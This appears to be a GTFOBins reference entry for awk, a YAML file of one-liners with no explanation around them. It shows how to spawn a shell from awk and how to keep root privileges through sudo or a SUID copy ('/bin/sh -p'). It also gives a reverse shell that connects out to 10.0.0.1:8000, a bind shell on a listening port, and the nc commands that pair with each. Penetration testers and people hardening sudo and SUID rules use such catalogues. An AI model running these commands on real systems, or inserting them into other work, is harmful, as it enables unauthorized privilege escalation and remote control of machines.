GTFOBins.github.io/_gtfobins/awk.md
2018-05-23 00:26:26 +02:00

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---
functions:
exec-interactive:
- code: awk 'BEGIN {system("/bin/sh")}'
sudo-enabled:
- code: sudo awk 'BEGIN {system("/bin/sh -p")}'
suid-limited:
- code: ./awk 'BEGIN {system("/bin/sh -p")}'
reverse-shell:
- description: Run `nc -l -p 8000` to receive the shell on the other end.
code: |
RHOST=10.0.0.1
RPORT=8000
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
bind-shell:
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
code: |
LPORT=8000
awk -v LPORT=$LPORT 'BEGIN {s = "/inet/tcp/" LPORT "/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
---